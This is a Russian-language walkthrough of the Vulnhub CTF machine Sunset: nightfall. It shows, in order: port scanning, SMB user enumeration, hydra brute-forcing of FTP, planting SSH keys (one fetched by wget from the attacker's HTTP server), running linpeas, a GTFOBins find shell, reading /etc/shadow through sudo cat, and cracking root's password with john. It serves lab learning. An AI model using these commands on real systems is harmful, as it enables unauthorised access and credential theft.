Vulnhub. Прохождение Sunset: nightfall
Сегодня в нашем прохождении серии Sunset следующая коробочка — nightfall.
Автор: whitecr0wz
И как обычно мы начинаем с определения IP-адреса.
netdiscover
IP нашей машины будет 192.168.1.106.
Сканирование
Просканируем все порты
nmap -p- 192.168.1.106
Просканировав все порты, мы видим, что у нас открыты 21, 22, 80, 129, 445 и 3306 порты. Просканируем их с помощью Nmap командой
nmap -p21,22,80,129,445,3306 -sC -sV -oN nightfall 192.168.1.106
Поиск точки входа
Пойдем по порядку и попробуем подключиться по ftp с логином и паролем anonymous: anonymous, но у нас ничего не выходит.
Для подключения по ssh нам нужен пароль или ключ, на сайте (80 порт) также ничего интересно, ну и для подключения к mysql тоже нужны креды. Остались порты на которых крутится smb. В этот раз будем использовать enum4linux, так как smbmap ничего полезного нам не сказал.
enum4linux -a 192.168.1.106
Вывод этой тулзы слишком «мусорный», поэтому я выделю только самое главное, что она нашла имена пользователей.
Пользователь 1
Судя по всему, у нас не остается большого выбора, кроме как сбрутить пароль к пользователю. Будем брутить ftp, так как к нему пароль сбрутить быстрее, чем к ssh. Для этого воспользуемся гидрой
hydra -l matt -p /usr/share/wordlists/rockyou.txt -t 64 ftp://192.168.1.106 -v
Опцией -l мы определили имя пользователя, -P словарь с паролями, -t количество потоков и -v отображение текущего статуса.
И гидра нас не подводит подобрав пароль для пользователя matt: cheese.
Подключаемся к машине по ftp с имеющимися кредами
ftp 192.168.1.106
И вот мы в домашней папке пользователя matt. Мы видим папку .ssh, значит можно загрузить свой ключ и получить доступ через ssh. Генерируем пару ключей
ssh-keygen
На выходе у нас будет 2 файла, я назвал их matt и в итоге у нас есть matt.pub и matt.
В matt.pub лежит открытый ключ, читаем файл или копируем его с названием authorized_keys и загружаем в папку c помощью команды put и подключаемся по ssh.
ssh -i matt matt@192.168.1.106
Опцией -i мы определили закрытый ключ для подключения к пользователю.
И вот мы внутри, давайте воспользуемся невероятным скриптом для поиска возможности повышения привилегий для линукса. Для этого поднимем питоновский сервер в папке, где лежит скрипт, и, скачав его на машину, сделаем исполняемым и запустим.
python3 -m http.server 80
chmod +x linpeas.sh
sh linpeas.sh
Скрипт говорит, что есть какой-то странный бинарник, давайте попробуем получить шелл.
Заходим на GTFObins и смотрим команду для получения шелла через find
Немного сокращаем команду, у нас появляется шелл (опцию –exec, как можно догадаться, мы использовали для исполнения команды). Видим, что у нашего процесса (шелла) есть права доступа пользователя nightfall, и мы включены в группу. Так давайте это и используем.
Пользователь 2
Я тут попробовал сделать шелл более интерактивным, но как-то не получилось. В любом случае удобнее будет работать через ssh, так что генерируем еще пару ключей. Как и для пользователя matt поднимаем питоновский сервер и скачиваем на целевую машину
ssh-keygen
python3 -m http.server
На целевой машине
wget http://192.168.1.68:8000/authorized_keys
Наш открытый ключ успешно скачан, можно подключаться по ssh
ssh -i nfall nightfall@192.168.1.106
Повышение привилегий
Я сразу решил проверить права пользователя на выполнение команд от имени root
sudo -l
И нам говорят, что мы можем читать все на целевой системе командой cat. Нам ничего не остается кроме как прочитать файл с хешами паролей /etc/shadow
sudo cat /etc/shadow
Вот у нас есть несколько хешей, давайте крякнем их. Создаем файл и копируем туда строчки с хешами, а затем зовем нашего друга Джона
john --wordlist=/usr/share/wordlists/rockyou.txt hashes
Джон как всегда нас не подводит и говорит, что у пользователя root пароль miguel2, теперь мы можем повысится до root’а, используя полученный пароль
su -
И вот мы повысились до root’a, и в конце нас ждет такой симпатичный флаг
Это был пример одной из ctf’ных коробок, простой как для взлома, так и для понимания. Хоть это и ctf задание, но в реальности все равно остаются машины с подобными конфигурациями, что может привести к печальным последствиям.
Другие части прохождения машин Sunset:
Sunset: 1
Sunset: dawn